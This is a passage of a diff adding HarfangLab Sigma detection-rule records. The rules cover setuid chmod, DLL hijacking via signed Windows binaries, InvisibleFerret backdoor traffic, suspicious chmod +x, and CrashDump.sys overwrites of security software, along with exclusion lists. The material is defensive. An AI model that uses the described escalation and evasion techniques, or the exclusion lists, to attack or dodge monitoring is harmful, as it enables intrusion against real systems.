'/usr/bin/bash /usr/nx/scripts/setup/nxserver'\n            - '/bin/bash /usr/nx/scripts/setup/nxnode'\n            - '/usr/bin/bash /usr/nx/scripts/setup/nxnode'\n            - '/bin/bash /usr/nx/scripts/setup/nxrunner'\n            - '/usr/bin/bash /usr/nx/scripts/setup/nxrunner'\n\n    exclusion_apt:\n        GrandparentImage:\n            - '/usr/bin/apt-get'\n            - '/usr/bin/apt'\n\n    exclusion_dnf:\n        - GrandparentImage: '/usr/bin/dnf5'\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n\n    exclusion_rpm:\n        ProcessAncestors|contains: '|/usr/bin/rpm|'\n\n    exclusion_netdata:\n        - GrandparentCommandLine: '/bin/sh /etc/cron.daily/netdata-updater'\n        - CommandLine|startswith: 'chmod 4750 usr/libexec/netdata/plugins.d/'\n          ParentCommandLine|startswith: './bin/bash system/install-or-update.sh '\n\n    exclusion_yum:\n        GrandparentCommandLine|startswith: '/usr/bin/python /bin/yum '\n\n    exclusion_make:\n        - ParentImage: '/usr/bin/make'\n        - GrandparentImage: '/usr/bin/make'\n\n    exclusion_sap:\n        CommandLine: 'chmod * /usr/sap/*/exe/*'\n        ParentCommandLine|startswith:\n            - '/bin/sh ./oraroot.sh '\n            - '/bin/sh ./saproot.sh '\n\n    exclusion_oracle:\n        CommandLine|contains:\n            - 'chmod * /u01/app/oracle/'\n            - 'chmod ???? /oracle/'\n            - 'chmod ???? /exec/oracle/product/'\n            - 'chmod ???? /usr/lib/oracle/agent/'\n            - 'chmod ???? /opt/ORCLfmap/'\n            - 'chmod ???? /opt/oracle/'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_cloudera:\n        ParentCommandLine|startswith:\n            - '/usr/bin/python?.? /opt/cloudera'\n            - '/usr/bin/python?.?? /opt/cloudera'\n\n    exclusion_oneautomation:\n        ProcessCommandLine: 'chmod 4755 /opt/oneautomation/*/agent/bin/ucxj*'\n\n    exclusion_docker:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/runc|/usr/bin/dockerd|'\n            - '|/usr/sbin/runc|/usr/bin/dockerd|'\n            - '|/usr/bin/podman|'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains:\n            - '|/opt/copiloteagent/copiloteagent|'\n            - '|/usr/NX/bin/nxpost|'\n\n    condition: 1 of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "058b2e5d-6e8a-4289-bfb7-96a9cc306c0f",
+  "rule_name": "SetUID Access Flag Set via chmod/setcap",
+  "rule_description": "Detects when chmod or setcap are used to set the SetUID bit or capability on a file.\nThis could be used by an attacker to execute a file with a different (and potentially more privileged) user context.\nIt is recommended to analyze the targeted binary as well as the process responsible for the setting change and look for privilege escalation and malicious binaries.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1222.002",
+    "attack.t1548.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "059bfeb6-d7ab-49e8-995d-d3c4bca73b53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592167Z",
+  "creation_date": "2026-03-23T11:45:34.592171Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592179Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdeuisrv.yml",
+  "content": "title: DLL Hijacking via bdeuisrv.exe\nid: 059bfeb6-d7ab-49e8-995d-d3c4bca73b53\ndescription: |\n    Detects potential Windows DLL Hijacking via bdeuisrv.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bdeuisrv.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\USERENV.dll'\n            - '\\WTSAPI32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "059bfeb6-d7ab-49e8-995d-d3c4bca73b53",
+  "rule_name": "DLL Hijacking via bdeuisrv.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bdeuisrv.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "059d6ada-8f39-4f7f-a79a-a0e3ef21e910",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587052Z",
+  "creation_date": "2026-03-23T11:45:34.587056Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587064Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dwwin.yml",
+  "content": "title: DLL Hijacking via dwwin.exe\nid: 059d6ada-8f39-4f7f-a79a-a0e3ef21e910\ndescription: |\n    Detects potential Windows DLL Hijacking via dwwin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dwwin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "059d6ada-8f39-4f7f-a79a-a0e3ef21e910",
+  "rule_name": "DLL Hijacking via dwwin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dwwin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "05b15125-dd13-43a6-aa65-67a40e6b9fc1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619386Z",
+  "creation_date": "2026-03-23T11:45:34.619388Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619392Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/",
+    "https://objective-see.org/blog/blog_0x7A.html",
+    "https://www.group-ib.com/blog/apt-lazarus-python-scripts/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1555_003_invisibleferret_backdoor_linux.yml",
+  "content": "title: InvisibleFerret Backdoor Communication Detected (Linux)\nid: 05b15125-dd13-43a6-aa65-67a40e6b9fc1\ndescription: |\n    Detects network communications related to the InvisibleFerret backdoor.\n    InvisibleFerret is a cross-platform backdoor written in Python. The development and usage of this tool has been attributed to Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored cyber threat group.\n    InvisibleFerret consists of various components that target popular web browsers on Windows, Linux and macOS to steal login credentials and other sensitive data.\n    It is recommended to investigate the process performing this action and the destination IP address to determine the legitimacy of this behavior.\nreferences:\n    - https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/\n    - https://objective-see.org/blog/blog_0x7A.html\n    - https://www.group-ib.com/blog/apt-lazarus-python-scripts/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/10/25\nmodified: 2025/02/14\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.credential_access\n    - attack.t1056.001\n    - attack.t1555.003\n    - attack.command_and_control\n    - attack.t1571\n    - attack.exfiltration\n    - attack.t1041\n    - classification.Linux.Source.NetworkActivity\n    - classification.Linux.ThreatActor.Lazarus\n    - classification.Linux.ThreatActor.DPRK\n    - classification.Linux.Malware.InvisibleFerret\n    - classification.Linux.Behavior.CredentialAccess\n    - classification.Linux.Behavior.SensitiveInformation\nlogsource:\n    category: network_connection\n    product: linux\ndetection:\n    selection:\n        ProcessCommandLine: 'python* /home/*/.npl'\n        ProcessGrandparentImage: '/node'\n        DestinationPort:\n            - '1224'\n            - '2245'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "05b15125-dd13-43a6-aa65-67a40e6b9fc1",
+  "rule_name": "InvisibleFerret Backdoor Communication Detected (Linux)",
+  "rule_description": "Detects network communications related to the InvisibleFerret backdoor.\nInvisibleFerret is a cross-platform backdoor written in Python. The development and usage of this tool has been attributed to Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored cyber threat group.\nInvisibleFerret consists of various components that target popular web browsers on Windows, Linux and macOS to steal login credentials and other sensitive data.\nIt is recommended to investigate the process performing this action and the destination IP address to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-02-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1056.001",
+    "attack.t1555.003",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "05e6ac9c-7eac-44f4-a137-10196a85ae1b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608259Z",
+  "creation_date": "2026-03-23T11:45:34.608263Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608270Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1222/002/"
+  ],
+  "name": "t1222_002_binary_chmodx_susp_directory.yml",
+  "content": "title: Suspicious Binary Made Executable\nid: 05e6ac9c-7eac-44f4-a137-10196a85ae1b\ndescription: |\n    Detects an attributes change on a file to make it executable in an uncommon directory.\n    Adversaries may set the execute bit on a file before executing it.\n    Is it recommended to check the harmlessness of the new executable file and for other suspicious behavior from the process modifying the file.\nreferences:\n    - https://attack.mitre.org/techniques/T1222/002/\ndate: 2024/07/30\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.002\n    - attack.defense_evasion\n    - attack.t1222.002\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.DefenseEvasion\nlogsource:\n    product: macos\n    category: filesystem_event\ndetection:\n    selection:\n        Kind: 'chmod'\n        PrettyMode|contains: 'x'\n        Image|endswith: '/chmod'\n\n    selection_path:\n        Path|startswith:\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n\n    selection_ancestors:\n        ProcessAncestors|contains:\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n\n    exclusion_unix:\n        Path: '/private/tmp/.*-unix'\n\n    exclusion_adobe:\n        Path: '/private/tmp/com.adobe.acrobat.DC/acrobat.plist'\n        ProcessCommandLine: '/bin/chmod -R 777 /tmp/com.adobe.acrobat.DC'\n\n    exclusion_adobe_updater:\n        - Path: '/private/tmp/com.adobe.acrobat.updater'\n          ProcessCommandLine: 'chmod o+w /tmp/com.adobe.acrobat.updater'\n        - Path: '/private/tmp/com.adobe.AcrobatRefreshManager'\n          ProcessCommandLine: 'chmod go= /tmp/com.adobe.AcrobatRefreshManager'\n\n    exclusion_ansible:\n        Path: '/private/tmp/ansible-tmp-*'\n        ProcessCommandLine|startswith: 'chmod u+x /tmp/ansible-tmp-'\n\n    exclusion_installer:\n        ProcessParentCommandLine|startswith:\n            - '/bin/sh /tmp/PKInstallSandbox.??????/'\n            - '/bin/bash /tmp/pkinstallsandbox.??????/'\n        ProcessGrandparentCommandLine|startswith:\n            - '/bin/sh /tmp/PKInstallSandbox.??????/'\n            - '/bin/bash /tmp/pkinstallsandbox.??????/'\n\n    exclusion_dotnet:\n        ProcessParentCommandLine|contains|all:\n            - 'dotnet'\n            - 'install'\n\n    exclusion_jamf:\n        - Path: '/Users/Shared/jamfdata'\n          ProcessCommandLine: 'chmod -R o-w /System/Volumes/Data/Users/Shared'\n        - ProcessParentCommandLine|startswith: '/bin/bash /library/application support/jamf/'\n\n    exclusion_maxon:\n        Path|startswith:\n            - '/Users/Shared/Maxon'\n            - '/Users/Shared/Red Giant'\n        ProcessCommandLine|startswith:\n            - 'chmod -R a+w /Users/Shared/Maxon'\n            - 'chmod -R a+w /Users/Shared/Red Giant'\n\n    exclusion_tunnelblick:\n        Path: '/private/var/root/Library/Application Support/Tunnelblick'\n\n    exclusion_common_folders:\n        - ProcessParentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n        - ProcessGrandparentImage|startswith:\n            - '/Applications/'\n            - '/Library/'\n            - '/Users/*/Applications/'\n            - '/Users/*/Library/'\n\n    exclusion_cisco:\n        ProcessParentCommandLine|startswith:\n            - '/bin/bash /opt/cisco/secureclient/temp/downloader/vpndownloader.sh'\n            - '/bin/bash /opt/cisco/anyconnect/temp/downloader/vpndownloader.sh'\n\n    exclusion_cyberwatch:\n        ProcessParentCommandLine: 'find /etc/cyberwatch-agent/ -type d -exec chmod 750 {} ;'\n\n    exclusion_homebrew:\n        ProcessAncestors|contains: '|/opt/homebrew/Library/Homebrew/vendor/portable-ruby/*/bin/ruby|'\n\n    exclusion_batchmod:\n        ProcessParentImage: '/Volumes/Rescue HD/Outils/Utilitaires/BatChmod*/BatChmod.app/Contents/MacOS/BatChmod'\n\n    exclusion_munki:\n        ProcessParentImage: '/usr/local/munki/Python.framework/Versions/*/Resources/Python.app/Contents/MacOS/Python'\n\n    exclusion_node:\n        ProcessAncestors|contains: '/.nvm/versions/node/v*/bin/node|'\n\n    exclusion_claude:\n        ProcessGrandparentCommandLine:\n            - 'claude'\n            - 'node /Users/*/.nvm/versions/node/v*/bin/claude'\n            - '*/.vscode/extensions/anthropic.claude-code-*-darwin-arm64/resources/native-binary/claude *'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "05e6ac9c-7eac-44f4-a137-10196a85ae1b",
+  "rule_name": "Suspicious Binary Made Executable",
+  "rule_description": "Detects an attributes change on a file to make it executable in an uncommon directory.\nAdversaries may set the execute bit on a file before executing it.\nIs it recommended to check the harmlessness of the new executable file and for other suspicious behavior from the process modifying the file.\n",
+  "rule_creation_date": "2024-07-30",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204.002",
+    "attack.t1222.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "05ef230b-2d48-4e49-82a9-20e1fce73c9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085767Z",
+  "creation_date": "2026-03-23T11:45:34.085769Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085774Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://x.com/sixtyvividtails/status/1888872344032100372?t=duYsOiMz6Df4LkTL2f20fg",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1562_001_executable_file_overwritten_using_crashdump.yml",
+  "content": "title: Executable File Overwritten using CrashDump.sys\nid: 05ef230b-2d48-4e49-82a9-20e1fce73c9e\ndescription: |\n    Detects suspicious modification of the 'DedicatedDumpFile' registry value with a string ending with an executable or driver file extension.\n    By modifying this value, the 'CrashDump.sys' driver will overwrite the file at next boot.\n    Threat actors can use this technique in order to overwrite an executable that belongs to an EDR or AV to evade defenses.\n    It is recommended to investigate the process that set the registry value as well as the added file path for suspicious content or actions.\nreferences:\n    - https://x.com/sixtyvividtails/status/1888872344032100372?t=duYsOiMz6Df4LkTL2f20fg\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2025/02/11\nmodified: 2025/08/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\CrashControl\\DedicatedDumpFile'\n        Details|endswith:\n            - '.exe'\n            - '.sys'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Details|endswith: '\\dedicateddumpfile.sys'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "05ef230b-2d48-4e49-82a9-20e1fce73c9e",
+  "rule_name": "Executable File Overwritten using CrashDump.sys",
+  "rule_description": "Detects suspicious modification of the 'DedicatedDumpFile' registry value with a string ending with an executable or driver file extension.\nBy modifying this value, the 'CrashDump.sys' driver will overwrite the file at next boot.\nThreat actors can use this technique in order to overwrite an executable that belongs to an EDR or AV to evade defenses.\nIt is recommended to investigate the process that set the registry value as well as the added file path for suspicious content or actions.\n",
+  "rule_creation_date": "2025-02-11",
+  "rule_modified_date": "2025-08-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "06168646-4339-42be-bcf4-a8f6ef23f53d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
